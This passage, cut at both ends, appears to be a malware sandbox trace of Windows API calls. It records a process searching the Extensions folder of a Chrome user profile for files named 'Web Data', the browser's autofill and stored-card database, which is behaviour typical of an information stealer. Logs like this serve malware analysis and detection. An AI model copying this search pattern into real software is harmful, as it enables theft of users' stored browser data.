(hMem=0x2daca0) returned 0x0 [0056.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned 131 [0056.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned 131 [0056.171] lstrlenA (lpString="\\*.*") returned 4 [0056.171] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.172] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0056.172] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*" [0056.172] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.172] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.172] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.172] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.172] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.172] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.172] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.172] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.172] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.172] LocalFree (hMem=0x2daca0) returned 0x0 [0056.172] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.172] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.172] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0056.172] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0056.172] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.172] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.172] lstrlenA (lpString="\\") returned 1 [0056.172] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.172] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.172] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.172] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.172] lstrlenA (lpString="es_419") returned 6 [0056.172] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dadb0 [0056.172] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.172] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0056.172] LocalFree (hMem=0x2daca0) returned 0x0 [0056.172] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned 135 [0056.172] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned 135 [0056.172] lstrlenA (lpString="\\*.*") returned 4 [0056.172] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2daec0 [0056.172] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0056.172] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*" [0056.172] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.172] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.172] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.172] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.173] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.173] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.173] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.173] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.173] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.173] LocalFree (hMem=0x2daec0) returned 0x0 [0056.173] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.173] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.173] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0056.173] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0056.173] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.173] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.173] lstrlenA (lpString="\\") returned 1 [0056.173] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.173] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.173] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.173] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.173] lstrlenA (lpString="et") returned 2 [0056.173] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.173] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.173] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0056.173] LocalFree (hMem=0x2daca0) returned 0x0 [0056.173] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned 131 [0056.173] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned 131 [0056.173] lstrlenA (lpString="\\*.*") returned 4 [0056.173] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.173] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0056.173] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*" [0056.173] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.173] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.173] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.173] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.173] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.173] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.173] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.173] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.173] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.173] LocalFree (hMem=0x2daca0) returned 0x0 [0056.173] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.173] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.173] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.173] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.173] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.173] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.173] lstrlenA (lpString="\\") returned 1 [0056.173] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.174] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.174] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.174] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.174] lstrlenA (lpString="fi") returned 2 [0056.174] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.174] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.174] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" [0056.174] LocalFree (hMem=0x2daca0) returned 0x0 [0056.174] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned 131 [0056.174] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned 131 [0056.174] lstrlenA (lpString="\\*.*") returned 4 [0056.174] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.174] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" [0056.174] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*" [0056.174] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.174] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.174] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.174] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.174] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.174] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.174] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.174] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.174] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.174] LocalFree (hMem=0x2daca0) returned 0x0 [0056.174] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.174] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.174] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.174] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.174] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.174] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.174] lstrlenA (lpString="\\") returned 1 [0056.174] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.174] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.174] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.174] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.174] lstrlenA (lpString="fil") returned 3 [0056.174] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.174] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.174] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" [0056.174] LocalFree (hMem=0x2daca0) returned 0x0 [0056.174] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned 132 [0056.174] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned 132 [0056.174] lstrlenA (lpString="\\*.*") returned 4 [0056.174] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.174] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" [0056.174] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*" [0056.174] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", 